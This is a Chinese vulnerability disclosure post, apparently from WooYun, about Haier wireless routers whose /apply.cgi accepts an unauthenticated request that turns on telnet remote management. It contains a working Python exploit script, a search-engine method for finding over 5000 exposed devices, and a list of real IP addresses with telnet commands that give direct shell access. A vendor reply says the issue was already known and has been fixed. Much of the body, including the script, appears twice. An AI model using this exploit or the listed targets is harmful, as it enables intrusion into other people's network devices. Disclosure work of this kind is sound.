WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备

该无线路由被大量使用，可通过该网站搜索：

https://www.oshadan.com/main，关键字：Haier Wifi，可搜索到5000+

经测试发现，该路由的/st_device.asp 文件有这样一个功能，如图：

”启用 telnet远程管理“，打开这一选项，是不是就可以telnet了呢，试试

选择该项，点击确定，然后执行：telnet xxx.xxx.xxx.xxx 23

奇迹出现了，可直接登录设备，执行一系列的命令。

便于测试，我简单写了一个python脚本，开通该功能：

import sys
 import requests
 
 #url = sys.argv[1]
 url = 'http://124.152.236.162'
 if 'http' not in url: os._exit()
 url = "{}/apply.cgi".format(url)
 data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
 print '[*] Opening telnet ..'
 req = requests.post(url, data=data)
 if req.status_code == 200:
     print '[*] Success ..'

直接运行该脚本，即可开通telnet远程控制的功能。

随机选择一些案例来进行漏洞证明：

0x1 http://124.152.236.162

telnet 124.152.236.162 23

0x2 http://124.152.236.186

telnet 124.152.236.186 23

0x3 http://49.117.1.98/

telnet 49.117.1.98 23

再给出一些案例：

http://49.117.1.98/
 http://124.152.236.186
 http://124.152.236.162
 http://72.130.248.15/
 http://77.35.7.104/

该无线路由被大量使用，可通过该网站搜索：

https://www.oshadan.com/main，关键字：Haier Wifi，可搜索到5000+

经测试发现，该路由的/st_device.asp 文件有这样一个功能，如图：

”启用 telnet远程管理“，打开这一选项，是不是就可以telnet了呢，试试

选择该项，点击确定，然后执行：telnet xxx.xxx.xxx.xxx 23

奇迹出现了，可直接登录设备，执行一系列的命令。

便于测试，我简单写了一个python脚本，开通该功能：

import sys
 import requests
 
 #url = sys.argv[1]
 url = 'http://124.152.236.162'
 if 'http' not in url: os._exit()
 url = "{}/apply.cgi".format(url)
 data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
 print '[*] Opening telnet ..'
 req = requests.post(url, data=data)
 if req.status_code == 200:
     print '[*] Success ..'

直接运行该脚本，即可开通telnet远程控制的功能。

随机选择一些案例来进行漏洞证明：

0x1 http://124.152.236.162

telnet 124.152.236.162 23

0x2 http://124.152.236.186

telnet 124.152.236.186 23

0x3 http://49.117.1.98/

telnet 49.117.1.98 23

加强权限验证

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-04-28 17:33

厂商回复：

最新状态：

2016-04-28：感谢白帽子的测试与提醒，该漏洞属于已知问题，WooYun-2016-196887，WooYun-2015-155274，并且最新版本5.9.4.3已经修正该问题。欢迎继续关注海尔安全，谢谢。

1. 2016-04-30 21:28 | 无花果 ( 路人 | Rank:2 漏洞数:1 )

   0

   可惜用的人太少啊

   1# 回复此人